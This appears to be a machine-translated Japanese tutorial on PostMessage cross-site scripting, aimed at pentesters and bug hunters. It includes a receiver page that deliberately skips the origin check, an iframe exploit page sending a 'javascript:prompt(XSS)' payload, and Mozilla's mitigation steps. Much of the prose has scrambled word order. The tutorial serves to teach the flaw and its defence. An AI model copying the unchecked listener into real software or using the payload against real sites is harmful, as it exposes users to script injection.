ソース:
訳:
XSS を見つけるのが大好きな人の多くは、かつては可能性があったにもかかわらず、通常、PostMessage XSS を見逃していて。
そこで、簡単なリソースを探している人に役立つかもしれないこのトピックをここで取り上げることにして。
まず、PostMessage がどのように機能するかを理解しましょ。
によると Mozilla :- window.postMessage() メソッドは、Window オブジェクト間のクロスオリジン通信を安全に有効にします。
たとえば、ページとそれが生成したポップアップの間、またはページとその中に埋め込まれた iframe の間などで。
JS には PostMessage を定義するさまざまな構文があって。
アプリケーションに機能を理解させるために、PostMessage にはいくつかのパラメーターがあって。
これらのパラメータは次のとおりで:-
message:- 他のウィンドウに送信されるデータ。
options:- を含むオプションのオブジェクト transfer
フィールドとオプション targetOrigin
メッセージを限定されたターゲットのみに制限する文字列を含むフィールド。
targetOrigin:- イベントが送出されるために必要なこのウィンドウの起点を指定します。
transfer:- 一連の 転送可能なオブジェクト。 メッセージとともに転送される
PostMessage についてある程度理解できたら、XSS につながる何が問題なのかを調べてみましょう。 このコードを見てみましょう:-
<html>
<head>
<title>site1</title>
<meta charset="utf-8" />
<script>
var child;
function openChild() {child = window.open('2.html', 'popup', 'height=300px, width=500px');
}
function sendMessage(){
let msg={url : "1.html"};
child.postMessage(msg,'*')
child.focus();
}</script>
</head>
<body>
<form>
<fieldset>
<input type='button' id='btnopen' value='Open child' onclick='openChild();' />
<input type='button' id='btnSendMsg' value='Send Message' onclick='sendMessage();' />
</fieldset>
</form>
</body>
</html>
上記のコードを見ると、2 つのボタンがあります。
- を含むポップアップを開きます 最初のものは、 2.html 。
openChild()
関数 - 2 番目のものはメッセージを送信します
sendMessage()
関数。 これを行うには、メッセージを定義して設定します。msg
変数を呼び出してから呼び出すpostMessage(msg,'*')
他のコード部分が何を言っているか見てみましょう:-
<html>
<head>
<title>site2</title>
<meta charset="utf-8" />
<script>
window.addEventListener("message", (event)=>{
document.getElementById("redirection").href=`${event.data.url}`;
});function closeMe() {
try {window.close();
} catch (e) { console.log(e) }
try {self.close();
} catch (e) { console.log(e) }}
</script>
</head>
<body>
<form>
<h1>Recipient of postMessage</h1>
<fieldset>
<a type='text' id='redirection' href=''>Go back</a>
<input type='button' id='btnCloseMe' value='Close me' onclick='closeMe();' />
</fieldset>
</form>
</body>
</html>
このコードでは:-
- リンクは後方リダイレクトを処理します。 の
href
リスナーで受信したデータに応じてフィールドが変化しますwindow.addEventListener("message", (event)
。 メッセージを受信した後、イベント内のデータが次から読み取られ。event.data.url
そして渡されましたhref
. - ボタンは関数を呼び出しているウィンドウを閉じます
closeMe()
それに伴い、さらに注意しなければならないことがいくつかあり。
以下を含むコードがいくつかあります:-
「 getDataFromEvent 」 : 受信したメッセージからデータを抽出するために使用されます。
「 createFloatingPageElement 」: この関数は、DOM 内に iframe を作成するために使用されます。
に戻ります。 さて、本題の搾取の部分
PostMessage が正しく実装されていないか、悪い方法で実装されている場合、クロスサイト スクリプティングの脆弱性 (XSS) が発生する可能性があり。
この場合、 2.html は メッセージを期待している 、origin を検証せずに ため、 2.html ロードし、 を iframe として postMessage()
を操作する関数 href
価値。
<html>
<head>
<title>XSS Exploitation</title>
<meta charset="utf-8" />
</head>
<body>
<iframe id="frame" src="2.html" ></iframe>
<script>
let msg={url : "javascript:prompt(XSS)"};
var iFrame = document.getElementById("frame")
iFrame.contentWindow.postMessage(msg, '*');
</script>
</body>
</html>
ここで、 msg
変数にはデータが含まれています {url : "javascript:prompt(XSS)"};
、2.htmlに送信され。
2.html を実行すると、の値が変更されます。 <a href
の値に msg.url
。 ユーザーが 「戻る」 リンクをクリックすると、 XSS が 実行されて。
これは非常に単純なシナリオですが、一部のシナリオは非常に複雑になる可能性が。
しかし、まずはこれがその 1 つです。
ペンテスターまたはバグ賞金稼ぎとして、これらの点を念頭に置くことが非常に重要。 ここで Javascript の知識が役に立ちます。
理解すればするほど、ブラウザベースの脆弱性をより上手に発見できるようになり。
部分については 軽減策の 、Mozilla が提案したいくつかの手順を次に示します。
- ではなく、常に正確なターゲット原点を指定します。
*
、使用するときはpostMessage
他のウィンドウにデータを送信します。 悪意のあるサイトは、ユーザーの知らないうちにウィンドウの位置を変更する可能性があるため、次を使用して送信されたデータを傍受する可能性があります。postMessage
. - 他のサイトからメッセージを受信する予定がない場合は、他のサイト ないでください。 にイベント リスナーを追加し
message
イベント。 これはセキュリティ上の問題を回避するための完全に確実な方法です。 - 他のサイトからメッセージを受信することが予想される場合は、常に、
origin
そしておそらくsource
プロパティ。
ほなほな。